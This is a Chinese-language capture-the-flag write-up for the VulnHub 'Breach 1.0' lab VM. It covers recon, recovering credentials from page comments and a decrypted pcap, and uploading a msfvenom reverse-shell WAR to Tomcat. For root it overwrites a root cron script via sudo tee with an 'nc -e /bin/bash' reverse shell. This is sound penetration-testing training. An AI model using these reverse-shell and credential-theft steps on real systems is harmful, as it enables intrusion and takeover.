BREACH: 1
BREACH: 1 :https://www.vulnhub.com/entry/breach-1,152/
下载: https://download.vulnhub.com/breach/Breach-1.0.zip
Description
First in a multi-part series, Breach 1.0 is meant to be beginner to intermediate boot2root/CTF(从启动boot到获取root权限和查看flag) challenge. Solving will take a combination of solid information gathering and persistence. Leave no stone unturned.
Virtual Machine
Format: Virtual Machine (Virtualbox - OVA)
Operating System: Linux
Networking
DHCP service: Disabled
IP address: 192.168.110.140
我猜这里的BREACH意思是让我们寻找突破口
一、信息搜集
fscan简单扫漏
./f -h 192.168.110.140
# [*] WebTitle:http://192.168.110.140 code:200 len:21 title:Welcome to Breach 1.0
goby扫扫
二、网站渗透
80端口有网站的
查看源码有一堆base64的注释
<!------Y0dkcFltSnZibk02WkdGdGJtbDBabVZsYkNSbmIyOWtkRzlpWldGbllXNW5KSFJo ----->
二次解码得到
pgibbons:damnitfeel$goodtobeagang$ta
还有一个跳转,往里翻翻看到有个 impresscms
之前的base64就是用户密码
进去发现邮箱里面有个ssl密钥,192.168.110.140/.keystore
找impresscms的漏洞,发现有sql注入,跨站脚本执行和本地文件包含漏洞,但都是在admin
的情况下才可以执行,我们手里的用户不是admin,有的需要content页面但是被替换成一个gif了
点点发现这里也可以进content
1.流量包
Content SSL implementation test capture (2016/6/4 21:37)
有个流量包可以下载
http://192.168.110.140/impresscms/_SSL_test_phase1.pcap
看上面文章的内容知道和tomcat有关,可以用kali内置的keytool来解析之前得到的keystore
Keytool 是一个Java 数据证书的管理工具 ,Keytool 将密钥(key)和证书(certificates)存在一个称为keystore的文件中 在keystore里,包含两种数据:
密钥实体(Key entity)——密钥(secret key)又或者是私钥和配对公钥(采用非对称加密)
可信任的证书实体(trusted certificate entries)——只包含公钥
查看keystore内容
keytool -list -keystore [keystore]
根据下面的提示转成PKCS12标准
keytool -importkeystore -srckeystore keystore -destkeystore keystore -deststoretype pkcs12
不用写端口啥的,直接导入证书,就可以看到http的包了
http流里面有用户密码
dG9tY2F0OlR0XDVEOEYoIyEqdT1HKTRtN3pC
tomcat:Tt\5D8F(#!*u=G)4m7zB
2.tomcat
访问时候要注意协议是https,端口8443
登陆进去是tomcat的管理页面,上传war包反弹shell
我用蚁剑菜刀的jsp🐎都连不了,可能是https的原因…所以用msf反弹shell(kali的IP:192.168.110.128)
1)生成war包
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.110.128 lport=4444 -f war -o shell.war
2)kali监听
msf6 payload(java/meterpreter/reverse_tcp) > use multi/handler
[*] Using configured payload java/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set payload java/meterpreter/reverse_tcp
payload => java/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.110.128
lhost => 192.168.110.128
msf6 exploit(multi/handler) > set rport 4444
rport => 4444
msf6 exploit(multi/handler) > run
访问上传的war,需要等待一段时间
三、提权
上传文件失败,想用ping命令的suid提权也不行
然后看别人的wp发现是passwd得到明文密码,cat /etc/passwd
可以看到可登陆的用户有三个:
milton:x:1000:1000:Milton_Waddams,,,:/home/milton:/bin/bash
blumbergh:x:1001:1001:Bill Lumbergh,,,:/home/blumbergh:/bin/bash
很神奇,milton的密码是在mysql里面,查看/var/www可以看到php文件,里面mysql是无密码的
查看mysql数据库
mysql -u root -p
Enter password:
use mysql;
select user,password from user;
exit
然后看到user表里有milton密码
user password
root
milton 6450d89bd3aff1d893b85d3ad65d2ec2
root
root
debian-sys-maint *A9523939F1B2F3E72A4306C34F225ACF09590878
milton的密码:thelaststraw
但是milton没有什么东西,blumbergh的密码在http://192.168.110.140/images/bill.png图片里面
blumbergh的密码:coffeestains
su登陆,这里要注意
无法执行su命令,显示需要一个终端,通过Python解决:
python -c 'import pty;pty.spawn("/bin/bash")'
登陆blumbergh后history发现
history
1 clear
2 logoff
3 logout
4 exit
5 cd /usr/share/cleanup
6 cat tidyup.sh
7 whoami
…………
tidyup.sh
#!/bin/bash
#Hacker Evasion Script
#Initech Cyber Consulting, LLC
#Peter Gibbons and Michael Bolton - 2016
#This script is set to run every 3 minutes as an additional defense measure against hackers.
cd /var/lib/tomcat6/webapps && find swingline -mindepth 1 -maxdepth 10 | xargs rm -rf
使用 sudo -l
命令列出当前用户可执行的命令(这里我用一些找suid的命令找不到tee,不知道为啥)
反弹root的shell
tidyup.sh能够以root权限运行,所以可以利用其反弹shell
1)先将nc反弹shell命令写入shell.txt文件
echo "nc -e /bin/bash 192.168.110.128 4443" > shell.txt
2)使用tee命令将shell.txt内容输出到tidyup.sh
cat shell.txt | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh
查看tidyup.sh文件写入成功:
cat /usr/share/cleanup/tidyup.sh
等个一会拿到root
参考wp: